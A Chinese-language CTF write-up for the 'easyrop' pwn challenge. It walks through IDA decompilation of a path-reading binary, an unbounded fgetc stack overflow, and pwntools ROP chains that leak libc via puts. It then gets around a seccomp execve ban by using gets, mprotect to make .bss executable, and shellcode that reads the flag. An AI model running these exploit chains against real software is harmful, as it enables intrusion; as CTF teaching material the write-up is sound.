Analyse
既然题目名为easyrop,那么这道题的利用方法和rop脱不了太大干系,尝试运行
可能刚开始不知道这个程序是做什么的,但是貌似程序是将我们的输入当作路径来处理的,我们通过IDA静态分析看看
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
FILE *v5; // rdi
char v6[1032]; // [rsp+10h] [rbp-420h] BYREF
__int64 v7; // [rsp+418h] [rbp-18h]
char v8; // [rsp+427h] [rbp-9h]
__int64 v9; // [rsp+428h] [rbp-8h]
dword_6030A0 = 0;
sub_400FC4();
sub_401968();
fwrite(">> ", 1uLL, 3uLL, stdout);
fflush(stdout);
v9 = 0LL;
while ( !feof(stdin) )
{
v8 = fgetc(stdin);
if ( v8 == 0xA )
break;
v3 = v9++;
v7 = v3;
v6[v3] = v8;
}
v6[v9] = 0;
if ( (unsigned int)sub_401678(v6) )
{
qsort(base, dword_6030AC, 0x200uLL, compar);
((void (__fastcall *)(char *))sub_401541)(base);
}
else
{
v5 = stdout;
fflush(stdout);
((void (__fastcall *)(FILE *))sub_400E87)(v5);
}
return 0LL;
}
可以看到
while ( !feof(stdin) )
{
v8 = fgetc(stdin);
if ( v8 == 0xA )
break;
v3 = v9++;
v7 = v3;
v6[v3] = v8;
}
这里应该就是接收用户输入的地方,while只要标准输入流不为空,则一直接收,遇到换行则跳出循环。接着v6[v9] = 0,这里的v9也就是v6的末位,将末位设置为0。然后进入sub_401678对用户的输入进行判断。
sub_401678
__int64 __fastcall sub_401678(char *a1)
{
__int64 result; // rax
char *v2; // rax
struct stat stat_buf; // [rsp+10h] [rbp-1A0h] BYREF
char ptr[256]; // [rsp+A0h] [rbp-110h] BYREF
char *src; // [rsp+1A0h] [rbp-10h]
_BYTE *v6; // [rsp+1A8h] [rbp-8h]
dword_6030AC = 0;
if ( (unsigned int)sub_401BB0(a1, &stat_buf) == -1 )
{
strcpy(ptr, "Can't get the information of the given path.\n");
fwrite(ptr, 1uLL, 0x2EuLL, stdout);
return 0LL;
}
else if ( (stat_buf.st_mode & 0xF000) == 0x8000 )
{
dword_6030AC = 1;
src = __xpg_basename(a1);
strcpy(base, src);
strcpy(byte_6031C0, a1);
return 1LL;
}
else
{
result = stat_buf.st_mode & 0xF000;
if ( (_DWORD)result == 0x4000 )
{
if ( a1[strlen(a1) - 1] != 47 )
{
v2 = &a1[strlen(a1)];
v6 = v2 + 1;
*v2 = 47;
*v6 = 0;
}
sub_4010FF(a1);
return 1LL;
}
}
return result;
}
这里的sub_401BB0函数,接收两个参数,一个文件名和一个指向’struct stat’结构的指针,然后该函数将参数传递给__xstat
函数,并返回__xstat
的返回值
__xstat
函数是stat
系统调用的一种变体,它用于获取指定文件的状态信息,该函数接受三个参数:
-
int ver
:版本号,通常用于指定__xstat
函数的指定版本 -
const char *path
:指向文件路径的指针 -
struct stat *buf
指向struct stat
结构的指针,该文件用于保存文件的状态信息
所以大概知道这个程序是对文件信息进行查看,用户输入应该是输入文件的路径
漏洞点
一般的rop都要结合栈溢,但是这里接收用户输入是使用的fgetc()
,也不是那么一眼丁真
while ( !feof(stdin) )
{
v8 = fgetc(stdin);
if ( v8 == 0xA )
break;
v3 = v9++;
v7 = v3;
v6[v3] = v8;
}
v6[v9] = 0;
但是注意这里的while,只要stdin不为空则一直接收用户的输入,将输入存到v6里去,我们看下v6这个变量的定义:
char v6[1032]; // [rsp+10h] [rbp-420h] BYREF
双击查看下v6的栈的情况
0000000000000420 var_420 db 1032 dup(?) ======> v6从这里开始
-0000000000000018 var_18 dq ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 var_9 db ?
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
可以发现,由于没有对v6这个变量的长度进行限制,所以这里是可以溢出的,通过v6我们可以覆盖到返回地址,从而rop
构造ropchain
tips
这里需要注意的是,在栈上往下覆盖时,路径上还存有其他变量,我们要尽量保证覆盖的数据不会导致程序异常退出。查看发现这里的v8其实就是上方提到的v6[v9] = 0
中的index => v9,根据经验这里肯定不能覆盖掉索引,看了另一个师傅的wp,这里的索引需要覆盖为0x28(40),暂时还不知道为什么,哭
泄露libc基址
接下来就是愉快的rop了,程序有puts函数,那么选用puts来泄露libc基址,最后再控制返回地址回到main函数,进行多次利用
payload = [
ret,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
0x4019F3
]
io.sendlineafter(">> ", b"A" * 0x418 + p8(0x28) + flat(payload))
shellcode
拿到libc基址后,尝试通过system()调用/bin/sh发现无果,原因是使用seccomp-tools查看,该程序禁用了execve系统调用,而system()函数底层需要间接调用execve()或者exec系列函数,故此方法不可行了
这里记录一个学到的做法:构造rop,将用户输入再下一次输入的内容定位到bss段上,再通过mprotect将该bss段赋予可读可写可执行权限,下一次输入时输入shellcode,从而在bss段上执行了这段shellcode,这道题的话就是读取flag
构造ropchain
payload = [
pop_rdi, # : pop rdi ; ret
elf.bss(),
libc_base + libc.symbols['gets'],
pop_rdi, # : pop rdi ; ret
elf.bss() & 0xfffffffffffff000,
libc_base + 0x0000000000023e6a, #: pop rsi; ret;
0x1000 ,
libc_base + 0x0000000000001b96, #: pop rdx; ret;
7 ,
libc_base + libc.symbols['mprotect'],
elf.bss(),
]
# gdb.attach(io)
io.sendlineafter('>> ', b'a' * 0x418 + p8(0x28) + flat(payload))
pop_rdi,
elf.bss()
即是将bss段的基地址弹到rdi中,接着ret执行gets(),意为在bss段上执行gets()函数
pop_rdi, # : pop rdi ; ret
elf.bss() & 0xfffffffffffff000,
libc_base + 0x0000000000023e6a, #: pop rsi; ret;
0x1000 ,
libc_base + 0x0000000000001b96, #: pop rdx; ret;
7 ,
libc_base + libc.symbols['mprotect'],
这段操作是在为mprotect提供参数,将bss段起始的地址存入rdi,作为第一个参数,接着将0x1000这个参数存入rsi,作为第二个参数,然后将7存入rdx,作为第三个参数,最后调用mprotect。
7是mprotect()函数的prot参数的值,在二进制中,7为111,表示PROT_READ | PROT_WRITE | PROT_EXEC
可读可写可执行
elf.bss()
最后跳转到bss段
生成shellcode
接着,现在在等待用户输入了( gets() ),我们生成shellcode进行cat flag,发送即可
shellcode = asm(shellcraft.cat('flag'))
io.sendline(shellcode)